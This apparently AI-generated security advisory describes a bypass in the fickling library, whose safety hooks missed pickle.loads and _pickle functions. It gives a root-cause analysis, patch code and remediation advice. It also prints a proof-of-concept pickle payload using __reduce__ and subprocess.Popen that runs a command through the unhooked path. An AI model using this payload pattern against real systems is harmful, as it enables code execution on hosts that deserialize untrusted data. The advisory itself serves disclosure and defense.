CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-WCCX-J62J-R448
9.3

Fickling Security Bypass: Incomplete Monkey-Patching in Safety Hooks

Amit Schendel
Amit Schendel
Senior Security Researcher

Mar 4, 2026·5 min read·3 visits

PoC Available

Executive Summary (TL;DR)

Fickling versions <= 0.1.8 fail to protect `pickle.loads` and `_pickle` functions from malicious deserialization. Attackers can bypass safety checks by using these unhooked entry points. Fixed in version 0.1.9.

A critical vulnerability exists in the `fickling` library's safety mechanism where the `always_check_safety()` function fails to intercept all standard pickle deserialization paths. Specifically, the library neglected to hook `pickle.loads`, `_pickle.load`, and `_pickle.loads`, allowing malicious pickle payloads to bypass analysis and execute arbitrary code even when safety controls are explicitly enabled.

Vulnerability Overview

The fickling library provides a mechanism to analyze and safely load Python pickle data, which is notoriously insecure by default. The library offers a global safety toggle, fickling.always_check_safety(), which is intended to monkey-patch the standard pickle module to intercept all deserialization attempts. This ensures that any call to pickle.load within the running process is first routed through Fickling's static analyzer to detect malicious opcodes before execution.

However, in versions prior to 0.1.9, this protection mechanism was incomplete. The implementation failed to hook the loads function (used for deserializing byte strings) and the C-optimized _pickle module functions. Consequently, this creates a "Protection Mechanism Failure" (CWE-693). Applications relying on fickling for defense-in-depth are left exposed if they use pickle.loads or if internal Python mechanisms rely on the C implementation directly, negating the library's security promises.

Root Cause Analysis

The root cause lies in the specific implementation of the monkey-patching logic within fickling/hook.py. The run_hook() function is responsible for replacing standard library functions with Fickling's safe wrappers. In affected versions, this function only targeted pickle.load (file-like object deserialization) and the Unpickler classes.

It critically missed three major entry points:

  1. pickle.loads: The standard function for deserializing bytes objects directly from memory, which is a common pattern in network applications and caching layers.
  2. _pickle.load: The C-accelerated version of the file loader.
  3. _pickle.loads: The C-accelerated version of the bytes loader.

Python's pickle module often delegates to _pickle for performance. By failing to hook the underlying C module and the loads variant, the safety check is effectively bypassed whenever these functions are invoked directly or indirectly.

Code Analysis & Patch

The remediation required extending the hooks to cover all entry points while managing a recursion hazard. If pickle.loads is hooked to call Fickling's analyzer, and the analyzer internally uses pickle.loads to process the data, an infinite recursion loop would occur. The fix involved two parts: caching the original function and applying the comprehensive hooks.

First, fickling/loader.py was updated to cache the real pickle.loads before any patching occurs. This ensures the internal loader can perform the final deserialization safely:

# fickling/loader.py
 
# Save the original pickle.loads before any hooks can replace it.
# loader.load() must use the real pickle.loads for final deserialization,
# otherwise hooking pickle.loads causes infinite recursion.
_original_pickle_loads = pickle.loads

Second, fickling/hook.py was updated to intercept the previously missed functions:

# fickling/hook.py
 
def run_hook():
    """Replace pickle.load() and pickle.Unpickler by fickling's safe versions"""
    # Hook functions
    pickle.load = loader.load
    # Added hooks for C-optimized and string-based loaders
    _pickle.load = loader.load
    pickle.loads = loader.loads
    _pickle.loads = loader.loads

This ensures that regardless of whether the application uses the pure Python or C-accelerated interfaces, the input is routed through Fickling's safety checks.

Exploitation

Exploitation involves supplying a malicious pickle payload to an application where fickling.always_check_safety() is active, but the application deserializes data using pickle.loads instead of pickle.load. The following Proof of Concept (PoC) demonstrates the bypass:

import io, pickle, _pickle
from unittest.mock import patch
import fickling
from fickling.exception import UnsafeFileError
 
class Payload:
    def __reduce__(self):
        import subprocess
        # Standard RCE payload
        return (subprocess.Popen, (['echo', 'PWNED'],))
 
data = pickle.dumps(Payload())
 
# Enable the safety hooks
fickling.always_check_safety()
 
# ATTACK: This path bypasses the hook in <= 0.1.8
# The payload executes because pickle.loads was not patched
print("Attempting bypass via pickle.loads...")
pickle.loads(data) 
 
# CONTROL: This path is blocked correctly
# pickle.load was patched, so this raises UnsafeFileError
print("Attempting blocked path via pickle.load...")
try:
    pickle.load(io.BytesIO(data))
except UnsafeFileError:
    print("Blocked successfully.")

In a vulnerable environment, the first call executes the echo command, proving that the safety check was completely circumvented.

Impact Assessment

The impact of this vulnerability is critical (CVSS 9.3). fickling is explicitly a security control library; its primary purpose is to prevent the execution of malicious pickles. By failing to cover standard usage patterns (pickle.loads), the library provides a false sense of security.

Attackers successfully exploiting this can achieve Remote Code Execution (RCE) on the target system with the privileges of the running process. Since pickle RCE allows for arbitrary Python execution, the compromise is typically total, allowing for data exfiltration, lateral movement, or denial of service.

Remediation & Limitations

The primary remediation is to upgrade fickling to version 0.1.9 or later. This version correctly hooks pickle.loads, _pickle.load, and _pickle.loads.

However, developers should be aware of the inherent limitations of monkey-patching in Python:

  1. Import Order: If a module imports loads directly (e.g., from pickle import loads) before fickling.always_check_safety() is called, that module will retain a reference to the original, unsafe function.
  2. Third-party Libraries: Libraries like pandas or torch may use their own internal deserialization logic or C-extensions that bypass the standard pickle module entirely.

Security teams should audit their codebase to ensure always_check_safety() is called as early as possible in the application lifecycle, ideally before other imports.

Official Patches

Trail of BitsCommit fixing the hook logic
Trail of BitsRelease v0.1.9 changelog

Fix Analysis (1)

Technical Appendix

CVSS Score
9.3/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Affected Systems

Python applications using `fickling` for pickle safety

Affected Versions Detail

Product
Affected Versions
Fixed Version
fickling
trailofbits
<= 0.1.80.1.9
AttributeDetail
CWECWE-693 (Protection Mechanism Failure)
Attack VectorNetwork (deserialization of untrusted data)
CVSS v4.09.3 (Critical)
ImpactRemote Code Execution (RCE)
Exploit StatusProof of Concept Available
Fix Version0.1.9

MITRE ATT&CK Mapping

T1203Exploitation for Client Execution
Execution
T1574Hijack Execution Flow
Persistence
CWE-693
Protection Mechanism Failure

Known Exploits & Detection

GitHub AdvisoryProof of Concept demonstrating bypass via pickle.loads

Vulnerability Timeline

Fix Commit Merged
2026-03-03
Advisory Published
2026-03-04

References & Sources

  • [1]GHSA-wccx-j62j-r448 Advisory
  • [2]OSV Entry